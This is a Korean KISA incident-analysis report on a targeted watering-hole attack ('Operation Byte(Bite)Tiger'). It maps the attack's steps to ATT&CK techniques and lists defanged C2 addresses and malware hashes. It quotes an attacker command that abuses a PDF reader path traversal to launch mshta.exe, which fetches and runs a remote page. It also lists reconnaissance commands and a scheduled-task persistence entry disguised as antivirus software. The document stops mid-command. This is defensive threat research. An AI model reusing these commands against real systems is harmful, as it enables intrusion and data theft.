##### www.kisa.or.kr # TTPs#6 타겟형 워터링홀 공격전략 분석 ----- ##### 1. Introduction 2. Summary ## Contents ##### 03 04 ##### 3. ATT&CK Matrix 4. Attribution 5. Conclusion ##### 07 24 29 본 보고서의 내용에 대해 진흥원의 허가 없이 무단전재 및 복사를 금하며, 위반 시 저작권법에 저촉될 수 있습니다. 집 필 종합분석팀: 김동욱 선임, 이슬기 선임, 이태우 선임, 이재광 팀장 사고분석팀: 윤지노 선임, 윤민아 주임, 김광연 팀장 감 수 신대규 본부장, 임진수 단장 ----- ### 타겟형 워터링홀 공격전략 분석 ## 1. Introduction 해킹 사고가 지속 발생함에 따라 보안 요구 사항은 점점 더 까다로워지고 있으며 방어 시스템의 기능은 매우 높은 수준으로 발전하고 있다. 그렇지만, 과거의 침해사고들이 현재에도 여전히 발생하고 있으며, 방어 체계를 잘 갖춘 기업도 전혀 예외가 아니다. 사이버보안에서 유명한 고통의 피라미드(The Pyramid of Pain)는 방어자가 TTP(Tactic, Technique, Procedure)와 같은 공격자의 전략과 전술, 그리고 그 과정을 이해하고 방어 체계를 운영하는 것이 가장 효과적임을 잘 표현하고 있다. 보안은 공격자를 Tough!한 단계로 끌고 가는 것이다. 고통의 피라미드, David J Bianco 여전히, IoC(Indicator of Compromise, 악성IP - 악성 도메인 등 단순 지표) 기반의 방어 체계는 매우 유용하다. 다만, 공격자는 단순 지표와 관련된 공격 인프라를 쉽게 확보하고 버린다. TTP는 다르다. 공격자는 TTP를 쉽게 확보하거나 버릴 수 없다. 타깃이 정해진 공격자는 타깃의 방어 환경을 무력화하기 위해 많은 시간을 들여서 TTP를 학습하고 연습한다. 그리고, 확보된 TTP를 지속 활용할 수 있는 대상들이 새로운 타깃이 된다. 공격자의 TTP는 언제나 방어 환경의 특성과 맞물려 있다. 그래서, 방어자는 방어 환경에 대해 정확히 이해하고 있어야 하며, 공격의 흐름과 과정을 패턴이나 기법이 아닌 전략 전술 관점으로 보아야 한다. 방어자의 환경과 공격자의 TTP는 함께 이야기 되어야 한다. TTP를 이해한 방어자는 '공격자의 TTP가 방어자 환경에 유효한 것인지' 여부와, '유효하다면 TTP를 무력화할 수 있는 방어 전략은 무엇인지' 등 2가지를 설명할 수 있어야 한다. 한국인터넷진흥원(이하 KISA)은 침해사고 대응 과정을 통해 공격자의 TTP를 파악하고 있으며, 그 과정 및 대응방안을 ATT&CK Framework[1] 기반으로 작성하여 배포한다. 보고서에 포함되어 있는 TTP와 관련된 다양한 흔적들(Artifacts)은 TTP에 대한 이해를 돕는 보조 수단일 뿐이다. 1 실제 공격에 사용된 전술 및 기술과 그에 대한 대응방안을 나타낸 매트릭스 |Int|roducti| |---|---| ----- ### 타겟형 워터링홀 공격전략 분석 ## 2. Summary 최근, 국내 주요 기업의 홈페이지에 악성 스크립트를 삽입해 특정 타겟만을 대상으로 악성코드를 다운로드 받아 실행시키는 타겟형 워터링 홀 공격이 확인되고 있다. 공격자는 공격대상이 접속할 만한 홈페이지에 악성 스크립트를 삽입했고, 해당사이트를 방문 시 취약점을 통해 악성코드를 감염, 원격제어 행위를 수행했다. 해당 침해사고 대응 과정에서 알려지지 않았던 2개의 신규 악성코드를 발견하였다. 침해사고 조사 과정에서 확인된 2종의 신규 악성코드는 종합분석팀에서 개발한 AI 프로파일링 분석시스템인 FENS 시스템을 통해 기존에 그룹화된 악성코드 들과 신규 수집된 2종 악성코드의 코드 및 메타데이터 등에서 연관 정보를 확인할 수 있었다. ※ FENS(Feature Engineering Normalization System) : 악성코드, 악성앱, 피해시스템 로그 등에서 자동 추출된 특징 정보 약 230여개를 AI 분석, 프로파일링 기술을 통해 고위험 침해사고 식별 및 연관성 분석에 활용하는 분석관리 시스템 이번 TTP 보고서에서는 워터링홀을 통한 최초 침투 방법과 신규 확인된 2종의 악성코드를 통한 원격제어부터 유출까지의 과정에서 확인된 공격 전략과 FENS시스템을 통해 기존 그룹화된 악성코드들과의 유사성 정보에 관해 확인해 보며, 나아가 Kaspersky와 Malwarebytes의 보고서에서 확인된 악성코드들에서 확인된 특징을 비교해 본다. 신규 확인된 악성코드 중 하나는 C2와 명령 송수신 시 “Tiger”라는 식별자를 사용했다. 우리는 이 악성코드의 명령에서 사용된 문자열 ‘Tiger’ 인용해 호랑이의 공격이란 의미로 이번 보고서에 담을 침해사고의 TTP에 대한 부제를 “Operation Byte(Bite)Tiger” 명명한다. ※ 본 보고서에서는 편의상 두 악성코드에게 임의의 명칭을 사용한다. 침해사고에서 확인되 악성코드의 최종 행위에 따라 다운로더 악성코드는 TigerDownloader, 원격제어를 수행하는 악성코드는 TigerRat 이라 한다. |.|Summary| |---|---| ----- 공격 개요도 - 각 번호를 클릭하면 해당 상세 내용으로 연결됩니다. ### 타겟형 워터링홀 공격전략 분석 ----- ### 타겟형 워터링홀 공격전략 분석 정찰단계에서 공격자는 공격 대상을 선정하는 작업을 수행한다. 기법이 확인되지는 않았으나, 워터링홀 공격 대상의 아이피 필터링을 위해 정찰단계에서 공격 대상의 아이피를 수집한 것으로 보인다. ##### 2 자원 개발 공격에 활용할 인프라를 구축하는 단계이다. 정보유출, 명령 제어 등을 위해 기존에 노출되지 않은 인프라를 확보한다. 일부 기업의 서버를 탈취하거나 호스팅 및 도메인을 가상자산을 통해 임대하고 공격에 필요한 악성코드를 직접 제작하여 사용한다. ##### 3 최초 침투 정찰단계에서 수집한 정보 및 공격 자원을 확보한 후 침투를 시도한다. 최초 침투를 위해 타겟형 워터링홀 공격을 수행했으며, 이 과정에서 기존에 수집한 정보를 바탕으로 감염대상을 필터링한다. 또, 목표 기업이 사용 중인 소프트웨어의 취약점을 통해 악성코드를 다운로드받아 감염시킨다. ##### 4 실 행 목표 기업이 사용 중인 소프트웨어의 취약점을 통해 공격자의 서버에서 악성코드를 다운로드받아 실행시킨다. ##### 5 지속성 유지 원격제어 악성코드의 원격 명령기능(CMD Command)를 이용해 레지스트리와 스케줄러에 원격제어 악성코드를 등록시켜 지속성을 유지한다. ##### 6 방어 회피 공격자는 Windows 정상 유틸리티인 mshta.exe를 악용해 악성코드를 다운로드받고 실행시킨다. 또한, 설치된 악성코드는 정상 프로그램명으로 설치되었으며, 설치경로 역시 실제 사용되는 경로에 설치되었으며, 백신, 보안장비 등의 탐지 우회를 악성코드가 사용하는 문자들 등을 모두 인코딩했다. ##### 7 탐 색 악성코드는 감염 시 감염대상의 시스템 정보를 수집해 공격자의 명령제어지로 수집한 정보를 전달한다. ##### 8 수 집 원격제어 악성코드를 통해 감염 시스템에서 키로깅, 스크린 캡처 기능을 통한 현재 피해 시스템의 상황을 수집하고, CMD 명령 등의 기능을 이용해 피해 시스템의 정보 및 사용자 파일 등의 다양한 정보를 수집한다. ##### 9 유 출 수집한 정보는 외부로 유출하였으며, 유출시 수집한 정보를 인코딩해 공격자의 서버로 전달한다. ----- |TT|&CK M| |---|---| ### 타겟형 워터링홀 공격전략 분석 ###### Reconnaissance ## 3. ATT&CK Matrix ###### Defense Evasion T1590.005 Gather Victim Network Information ###### Resource Development T1583.003 Acquire Infrastructure T1584.004 Compromise Infrastructure T1587.001 Develop Capabilities T1608.004 Stage Capabilities ###### Initial Access T1189 Drive-by Compromise ###### Execution T1203 Exploitation for Client Execution T1059 Command and Scripting Interpreter ###### Persistence T1547.001 Boot or Logon Autostart Executio T1053.005 Scheduled Task/Job T1218.005 Signed Binary Proxy Execution T1036.005 Masquerading T1140 Deobfuscate/Decode Files or Information ###### Discovery T1033 System Owner/User Discovery ###### Collection T1560.002 Archive Collected Data T1119 Automated Collection T1005 Data from Local System T1056.001 Input Capture T1113 Screen Capture ###### Command and Control T1071.001 Application Layer Protocol T1132.001 Data Encoding T1573.001 Encrypted channel ###### Exfiltration T1041 Exfiltration Over C2 Channel ----- ### 타겟형 워터링홀 공격전략 분석 ##### 1 Reconnaissance : 정찰 ###### 1. T1590.005 Gather Victim Network Information: IP Addresses - 격대상의 아이피 정보를 수집해 워터링홀 공격시 아이피 필터링에 활용 |Reconnaissance : 정찰 T1590.005 Gather Victim Network Information: IP Addresses|Col2|Col3|Col4|Col5|Col6| |---|---|---|---|---|---| ||||||| ##### 1 ----- ### 타겟형 워터링홀 공격전략 분석 ##### 2 - 격자의 명령제어 서버 운용을 위해 공격자 서버를 가상 사설 서버(아마존) 등록 C2 52.202.XX.XX 34.221.XX.XX ###### 2. T1584.004 Compromise Infrastructure: Server - 사 서버를 장악하고 악성 스크립트를 삽입해 공격에 활용 - 비스 중인 웹페이지에 한 줄 스크립트를 삽입해 특정 사이트로 연결되도록 유도 ----- ### 타겟형 워터링홀 공격전략 분석 ###### 3. T1587.001 Develop Capabilities: Malware - 격자는 공격 수행을 위해 신규 악성코드 2종을 개발 명칭 파일명 해시 최종 기능(목적) TigerDownloader iexplore.exe f0ff67d4d34fe34d52a44b3515c44950 추가 파일 다운로드 및 실행 lsdev.exe TigerRAT msdev.exe 4df757390adf71abdd084d3e9718c153 원격제어 ASDCli.exe ###### 4. T1587.004 Develop Capabilities: Exploits - 성코드를 실행하기위해 특정 소프트웨어의 취약점 탐색 및 개발 - 정 소프트웨어의 취약점을 통해 mshta.exe 실행해 악성파일 다운로드 및 실행 취약점을 이용한 공격 이력 C:\Program Files(x86)\Unidocs\ezPDFReader2.0G\../../../Windows/System32/mshta.exe “hxxp://34.221.66.xx/ page.html” /print ###### 5. T1608.004 Stage Capabilities: Drive-by Target - 워터링홀 페이지에 접속한 경우 공격 대상의 아이피를 필터링 하고 공격대상만 특정 사이트로 리다이렉트 하도록 악성 스크립트를 제작 |명칭|파일명|해시|최종 기능(목적)| |---|---|---|---| |TigerDownloader|iexplore.exe|f0ff67d4d34fe34d52a44b3515c44950|추가 파일 다운로드 및 실행| |TigerRAT|lsdev.exe msdev.exe ASDCli.exe|4df757390adf71abdd084d3e9718c153|원격제어| ----- ### 타겟형 워터링홀 공격전략 분석 - 정 웹사이트에 접속 시 악성코드 유포 사이트로 연결되도록 추가 코드 삽입 - 해자는 특정 사이트 방문 및 취약점을 통해 악성코드 감염 [ 워터링홀 시작점 ] hxxps://www.xxxxx.re.kr [ 스크립트 실행 ] hxxps://gw.xxxx.com/mobile/schedule/ScheduleReg.jsp [ 취약점 악용 ] hxxps://gw.xxxx.com/mobile/schedule/1.res ----- ### 타겟형 워터링홀 공격전략 분석 - 정 소프트웨어의 취약점을 통해 mshta.exe 실행해 악성파일 다운로드 및 실행 - 당 프로그램의 권한(사용자 권한)으로 악성코드 실행 - age.html을 통해 TigerDownloader 악성코드 설치 및 실행 프로그램 로그(ezPDFWSLauncher.log)에서 나타난 공격 이력 |05/25/2021, 10:40:36 ▶ 악성코드 실행시간 05/25/2021, 10:40:36 05/25/2021, 10:40:36 05/25/2021, 10:40:36 05/25/2021, 10:40:36 05/25/2021, 10:40:36 05/25/2021, 10:40:36 CreateProcessAsUser, sid = 1, pid = xxxxx|05/26/2021, 10:23:00 ▶ 악성코드 실행시간 05/26/2021, 10:23:00 05/26/2021, 10:23:00 05/26/2021, 10:23:00 05/26/2021, 10:23:00 05/26/2021, 10:23:00 05/26/2021, 10:23:00 CreateProcessAsUser, sid = 1, pid = xxxxx| |---|---| |Date|DST IP|DST Port|URL|비고| |---|---|---|---|---| |2021-05-25 10:40 ~ 15:22|34.221.66.xx (Amazon)|80|hxxp://34.221.66.xx/page.html|다운로드| ||||hxxp://34.221.66.xx/lsdev.exe|| ||||hxxp://34.221.66.xx/StSess_Update.php|명령실행| ||||hxxp://34.221.66.xx/ASDClient.php|| ----- ### 타겟형 워터링홀 공격전략 분석 ###### 2. T1059: Command and Scripting Interpreter – Windows Command Shell - indows Command Shell을 통해 명령 수행 프로세스 부모 프로세스 명령어 mshta.exe ezPDFWSLauncher.exe "mshta.exe" "hxxp://34.221.66.xx/page.html" /print cmd.exe /c ipconfig /all cmd.exe /c tasklist cmd.exe /c netstat -naop tcp cmd.exe /c systeminfo cmd.exe /c fsutil fsinfo drives iexplore.exe mshta.exe cmd.exe /c dir c:\* cmd.exe /c dir d:\* cmd.exe /c dir z:\* cmd.exe /c c:\users\public\lsdev.exe cmd.exe /c c:\users\public\Pictures\msdev.exe cmd.exe /c "net use" cmd.exe /c "ipconfig /all" cmd.exe /c "whoami" cmd.exe /c "reg query lsdev.exe cmd.exe HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" cmd.exe /c "tasklist" cmd.exe /c "whoami" cmd.exe /c "schtasks /create /tn "Ahnlab\ASDClient" /tr "C:\ProgramData\Ahnlab\AIS\ASDCli.exe" /sc daily /st